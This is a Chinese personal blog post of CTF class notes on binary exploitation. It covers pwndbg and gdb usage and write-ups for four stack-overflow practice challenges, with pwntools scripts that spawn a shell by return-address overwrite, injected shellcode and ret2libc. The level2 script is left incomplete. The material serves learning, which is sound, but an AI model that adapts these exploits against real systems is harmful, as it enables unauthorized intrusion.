<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 4.2.1">
  <link rel="apple-touch-icon" sizes="180x180" href="/file/apple-touch-icon.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/file/favicon-32x32.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/file/favicon-16x16.png">
  <link rel="mask-icon" href="/file/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"czlz.net","root":"/","scheme":"Pisces","version":"7.8.0","exturl":false,"sidebar":{"position":"right","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="前言知识点太多，无力吐槽。">
<meta property="og:type" content="article">
<meta property="og:title" content="PWN第一天（大比武_CTF课_第十九天）">
<meta property="og:url" content="https://czlz.net/2020/jxsw_dbw_pwn_1/index.html">
<meta property="og:site_name" content="粗制乱造的个人网站">
<meta property="og:description" content="前言知识点太多，无力吐槽。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level0_1.png">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level0_2.png">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level0_4.png">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level1_1.png">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level1_2.png">
<meta property="og:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level2_1.png">
<meta property="article:published_time" content="2020-07-22T16:00:00.000Z">
<meta property="article:modified_time" content="2020-07-30T01:04:31.026Z">
<meta property="article:author" content="粗制乱造">
<meta property="article:tag" content="CTF">
<meta property="article:tag" content="练习题">
<meta property="article:tag" content="汇编">
<meta property="article:tag" content="C语言">
<meta property="article:tag" content="PWN">
<meta property="article:tag" content="栈溢出">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://czlz.net/2020/jxsw_dbw_pwn_1/level0_1.png">

<link rel="canonical" href="https://czlz.net/2020/jxsw_dbw_pwn_1/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>PWN第一天（大比武_CTF课_第十九天） | 粗制乱造的个人网站</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">粗制乱造的个人网站</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">杂七杂八的一堆东西</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-python">

    <a href="/pyodide/" rel="section"><i class="fa fa-user fa-fw"></i>在线Python3.8</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://czlz.net/2020/jxsw_dbw_pwn_1/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/file/avatar.png">
      <meta itemprop="name" content="粗制乱造">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="粗制乱造的个人网站">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          PWN第一天（大比武_CTF课_第十九天）
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2020-07-23 00:00:00" itemprop="dateCreated datePublished" datetime="2020-07-23T00:00:00+08:00">2020-07-23</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-07-30 09:04:31" itemprop="dateModified" datetime="2020-07-30T09:04:31+08:00">2020-07-30</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a>
                </span>
                  ，
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/%E7%AC%94%E8%AE%B0/" itemprop="url" rel="index"><span itemprop="name">笔记</span></a>
                </span>
                  ，
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/%E7%AC%94%E8%AE%B0/PWN/" itemprop="url" rel="index"><span itemprop="name">PWN</span></a>
                </span>
                  ，
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/CTF/%E7%AC%94%E8%AE%B0/PWN/sat/" itemprop="url" rel="index"><span itemprop="name">sat</span></a>
                </span>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><pre><code>知识点太多，无力吐槽。</code></pre><a id="more"></a>

<h1 id="笔记"><a href="#笔记" class="headerlink" title="笔记"></a>笔记</h1><h2 id="常用工具"><a href="#常用工具" class="headerlink" title="常用工具"></a>常用工具</h2><p>1、可执行文件，文件头检查</p>
<blockquote>
<p>checksec 文件名<br>2、查找代码块<br>ROPgadget –binary level2 –only “pop|ret” | grep exb</p>
</blockquote>
<h2 id="gdb-pwndbg工具"><a href="#gdb-pwndbg工具" class="headerlink" title="gdb-pwndbg工具"></a>gdb-pwndbg工具</h2><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><blockquote>
<p>git clone <a href="https://github.com/pwndbg/pwndbg" target="_blank" rel="noopener">https://github.com/pwndbg/pwndbg</a><br>cd pwndbg<br>./setup.sh</p>
</blockquote>
<h3 id="操作指令"><a href="#操作指令" class="headerlink" title="操作指令"></a>操作指令</h3><table>
<thead>
<tr>
<th>命令</th>
<th>缩写</th>
<th>效果</th>
</tr>
</thead>
<tbody><tr>
<td>gdb <file> &lt;*pid&gt;</td>
<td></td>
<td>添加新程序</td>
</tr>
<tr>
<td>gdb attach <pid></td>
<td></td>
<td>负载运行的程序</td>
</tr>
<tr>
<td>set args &lt;*argv&gt;</td>
<td></td>
<td>设置程序运行参数</td>
</tr>
<tr>
<td>show args</td>
<td></td>
<td>查看设置好的运行参数</td>
</tr>
<tr>
<td>quit</td>
<td>q</td>
<td>退出gdb</td>
</tr>
<tr>
<td>symbol <file></td>
<td>sy</td>
<td>导入符号表</td>
</tr>
<tr>
<td>info &lt;*b&gt;</td>
<td>i</td>
<td>查看程序的状态/*查看断点</td>
</tr>
<tr>
<td>frame</td>
<td>f</td>
<td>查看栈帧</td>
</tr>
<tr>
<td>backtrace</td>
<td>bt</td>
<td>查看堆栈情况</td>
</tr>
<tr>
<td>list</td>
<td>l</td>
<td>显示源代码(debug模式)</td>
</tr>
<tr>
<td>display</td>
<td>disp</td>
<td>跟踪查看某个变量</td>
</tr>
<tr>
<td>start</td>
<td></td>
<td>启动程序并中断在入口debug模式停在main()，否则停在start()</td>
</tr>
<tr>
<td>run</td>
<td>r</td>
<td>直接运行程序直到断点</td>
</tr>
<tr>
<td>continue</td>
<td>c</td>
<td>暂停后继续执行程序</td>
</tr>
<tr>
<td>next</td>
<td>n</td>
<td>单步步过</td>
</tr>
<tr>
<td>step</td>
<td>s</td>
<td>单步步入，函数跟踪</td>
</tr>
<tr>
<td>finish</td>
<td>fin</td>
<td>跳出，执行到函数返回处</td>
</tr>
<tr>
<td>break /*<addr></td>
<td>b</td>
<td>下断点</td>
</tr>
<tr>
<td>stack</td>
<td></td>
<td>显示代码行数</td>
</tr>
<tr>
<td>watch</td>
<td></td>
<td>下内存断点并监视内存情况</td>
</tr>
<tr>
<td>print</td>
<td>p</td>
<td>打印符号信息(debug模式)</td>
</tr>
<tr>
<td>x /<num>&lt;n/f/u&gt;</td>
<td></td>
<td>显示内存信息，具体用法附在下面</td>
</tr>
<tr>
<td>context</td>
<td></td>
<td>打印pwnbdg页面信息</td>
</tr>
<tr>
<td>dps <addr></td>
<td></td>
<td>优雅地显示内存信息</td>
</tr>
<tr>
<td>disassemble <func></td>
<td></td>
<td>打印函数信息</td>
</tr>
<tr>
<td>vmmap</td>
<td></td>
<td>显示程序内存结构</td>
</tr>
<tr>
<td>search &lt;*argv&gt;</td>
<td></td>
<td>搜索内存中的值输入 search -h 可查询用法</td>
</tr>
<tr>
<td>checksec</td>
<td></td>
<td>查看程序保护机制</td>
</tr>
</tbody></table>
<h2 id="知识点"><a href="#知识点" class="headerlink" title="知识点"></a>知识点</h2><p>1、bss代码段，保存的比较自由，写入数据不会出问题。<br>2、pop ebx#弹出内存</p>
<h1 id="解题"><a href="#解题" class="headerlink" title="解题"></a>解题</h1><h2 id="0x01-level0"><a href="#0x01-level0" class="headerlink" title="0x01. level0"></a>0x01. level0</h2><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p>先输入checksec level0检查一下程序的情况<br><img src="level0_1.png" alt=""><br>居然是个64位的程序。丢IDA里看看情况<br><img src="level0_2.png" alt=""><br>Shift+F12直接看到了特殊的字符。双击进入，再用X跟进一下。来到了这里</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int callsystem()</span><br><span class="line">&#123;</span><br><span class="line">  return system(&quot;&#x2F;bin&#x2F;sh&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>记录一下这个函数的地址。后面回调应当就要用到这个地址信息了:0x0000000000400596</p>
<h3 id="解题-1"><a href="#解题-1" class="headerlink" title="解题"></a>解题</h3><blockquote>
<p>1、gdb level0 #调试程序<br>2、start #运行程序，此时会断在start()位置。<br>3、b main #下断点<br>4、r #运行到断点<br>5、n #步进<br>6、s #步入到vulnerable_function函数<br>7、n #步进几步<br>8、输入几个测试字符串。<br>9、计算一下内存偏移量。0x7fffffffe378-0x7fffffffe2f0=136</p>
</blockquote>
<p>差不多了，写个代码实现</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pwn</span><br><span class="line">io = pwn.process(<span class="string">"level0"</span>)</span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">b'F'</span> * <span class="number">136</span> + pwn.p64(<span class="number">0x0000000000400596</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>
<p><img src="level0_4.png" alt=""><br>出来了——激动呀！</p>
<h2 id="0x02-level1"><a href="#0x02-level1" class="headerlink" title="0x02. level1"></a>0x02. level1</h2><p>按第一题的操作步骤分析一遍，这是一个32位的程序。<br><img src="level1_1.png" alt=""><br>发现存在溢出的方法。<br>但是找了一遍没能找到。<br>不管了，先找溢出地址。<br><img src="level1_2.png" alt=""><br>找到地址后，0xffffd69c-0xffffd610=140</p>
<p>但是怎么构造playload还是不知道。<br>于是上网查了一下，原来pwntools支持直接构造</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pwn</span><br><span class="line">pwn.context(os=<span class="string">'linux'</span>, arch=<span class="string">'i386'</span>, log_level=<span class="string">'debug'</span>)</span><br><span class="line"><span class="comment">#运行程序</span></span><br><span class="line">io = pwn.process(<span class="string">"level1"</span>)</span><br><span class="line"><span class="comment">#读题目中提示的溢出地址</span></span><br><span class="line">txt=io.recvline()</span><br><span class="line"><span class="comment">#截取地址部分</span></span><br><span class="line">txt=txt[<span class="number">14</span>:<span class="number">-2</span>]</span><br><span class="line"><span class="comment">#转换地址信息</span></span><br><span class="line">addr=int(txt,<span class="number">16</span>)</span><br><span class="line"><span class="comment">#print(txt,addr)</span></span><br><span class="line"><span class="comment">#程序中没有shell，生成一个</span></span><br><span class="line">shell=pwn.asm(pwn.shellcraft.sh())</span><br><span class="line"><span class="comment">#填入代码+补位垃圾代码+内存地址</span></span><br><span class="line">payload=shell+<span class="string">b'F'</span>*(<span class="number">140</span>-len(shell))+pwn.p32(addr)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x03-level2"><a href="#0x03-level2" class="headerlink" title="0x03. level2"></a>0x03. level2</h2><p>这回可以省掉第一步了，因为有两个程序一个I386的，另一个是64位的。直接IDA<br><img src="level2_1.png" alt=""><br>搜一下字符串。出来了两个关键字符串。<br>跟着Main函数看到这里。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ssize_t vulnerable_function()</span><br><span class="line">&#123;</span><br><span class="line">  char buf; &#x2F;&#x2F; [esp+0h] [ebp-88h]</span><br><span class="line"></span><br><span class="line">  system(&quot;echo Input:&quot;);</span><br><span class="line">  return read(0, &amp;buf, 0x100u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>看样子是要溢出然后覆盖掉system。<br>这题好像无法成功调试。通过[ebp-88h]地址计算出实际溢出的长度为140<br>构造payload</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pwn</span><br><span class="line">pwn.context(os=<span class="string">'linux'</span>, arch=<span class="string">'i386'</span>, log_level=<span class="string">'debug'</span>)</span><br><span class="line"><span class="comment">#通过IDA找到的system函数地址</span></span><br><span class="line">sys_addr=<span class="number">0x08048320</span></span><br><span class="line"><span class="comment">#通过IDA找到的sh地址</span></span><br><span class="line">sh_addr=<span class="number">0x0804A024</span></span><br><span class="line">pload=<span class="string">b'f'</span>*<span class="number">140</span>+pwn.p32(sys_addr)+pwn.p32(<span class="number">0</span>)+pwn.p32(sh_addr)</span><br><span class="line">io = pwn.process(<span class="string">'level2'</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline</span><br></pre></td></tr></table></figure>

<h2 id="0x04-ret2libc1"><a href="#0x04-ret2libc1" class="headerlink" title="0x04. ret2libc1"></a>0x04. ret2libc1</h2><p>用IDA分析了一下，好像跟上面的题差不多呢。不知道上面的代码换一下地址能解出来吗。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pwn</span><br><span class="line">pwn.context(os=<span class="string">'linux'</span>, arch=<span class="string">'i386'</span>, log_level=<span class="string">'debug'</span>)</span><br><span class="line"><span class="comment">#通过IDA找到的system函数地址</span></span><br><span class="line">sys_addr=<span class="number">0x08048460</span></span><br><span class="line"><span class="comment">#通过IDA找到的sh地址</span></span><br><span class="line">sh_addr=<span class="number">0x08048720</span></span><br><span class="line"><span class="comment">#填充数据，system函数地址，返回值，sh地址</span></span><br><span class="line">pload = <span class="string">b'A'</span>*<span class="number">112</span>+pwn.p32(sys_addr)+pwn.p32(<span class="number">0</span>)+pwn.p32(sh_addr)</span><br><span class="line"></span><br><span class="line">io = pwn.process(<span class="string">'ret2libc1'</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(pload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>
<p>测试了一下。果然可以解出来。</p>

    </div>

    
    
    
        <div class="reward-container">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button onclick="var qr = document.getElementById('qr'); qr.style.display = (qr.style.display === 'none') ? 'block' : 'none';">
    打赏
  </button>
  <div id="qr" style="display: none;">
      
      <div style="display: inline-block;">
        <img src="/file/weixin.png" alt="粗制乱造 微信支付">
        <p>微信支付</p>
      </div>
      
      <div style="display: inline-block;">
        <img src="/file/zfb.png" alt="粗制乱造 支付宝">
        <p>支付宝</p>
      </div>

  </div>
</div>


      <footer class="post-footer">
          <div class="post-tags">
              <a href="/tags/CTF/" rel="tag"># CTF</a>
              <a href="/tags/%E7%BB%83%E4%B9%A0%E9%A2%98/" rel="tag"># 练习题</a>
              <a href="/tags/%E6%B1%87%E7%BC%96/" rel="tag"># 汇编</a>
              <a href="/tags/C%E8%AF%AD%E8%A8%80/" rel="tag"># C语言</a>
              <a href="/tags/PWN/" rel="tag"># PWN</a>
              <a href="/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/" rel="tag"># 栈溢出</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2020/jxsw_dbw_reverse_2/" rel="prev" title="逆向第二天（大比武_CTF课_第十八天）">
      <i class="fa fa-chevron-left"></i> 逆向第二天（大比武_CTF课_第十八天）
    </a></div>
      <div class="post-nav-item">
    <a href="/2020/PWN_tools_1/" rel="next" title="PWN工具使用">
      PWN工具使用 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#前言"><span class="nav-number">1.</span> <span class="nav-text">前言</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#笔记"><span class="nav-number">2.</span> <span class="nav-text">笔记</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#常用工具"><span class="nav-number">2.1.</span> <span class="nav-text">常用工具</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#gdb-pwndbg工具"><span class="nav-number">2.2.</span> <span class="nav-text">gdb-pwndbg工具</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#安装"><span class="nav-number">2.2.1.</span> <span class="nav-text">安装</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#操作指令"><span class="nav-number">2.2.2.</span> <span class="nav-text">操作指令</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#知识点"><span class="nav-number">2.3.</span> <span class="nav-text">知识点</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#解题"><span class="nav-number">3.</span> <span class="nav-text">解题</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#0x01-level0"><span class="nav-number">3.1.</span> <span class="nav-text">0x01. level0</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#分析"><span class="nav-number">3.1.1.</span> <span class="nav-text">分析</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#解题-1"><span class="nav-number">3.1.2.</span> <span class="nav-text">解题</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x02-level1"><span class="nav-number">3.2.</span> <span class="nav-text">0x02. level1</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x03-level2"><span class="nav-number">3.3.</span> <span class="nav-text">0x03. level2</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x04-ret2libc1"><span class="nav-number">3.4.</span> <span class="nav-text">0x04. ret2libc1</span></a></li></ol></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="粗制乱造"
      src="/file/avatar.png">
  <p class="site-author-name" itemprop="name">粗制乱造</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">43</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">37</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">59</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">粗制乱造</span>
</div>
  <div class="powered-by">由 <a href="https://czlz.net/" class="theme-link">czlz.net</a> 强力驱动
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  




  
<script src="/js/local-search.js"></script>













  

  

</body>
</html>
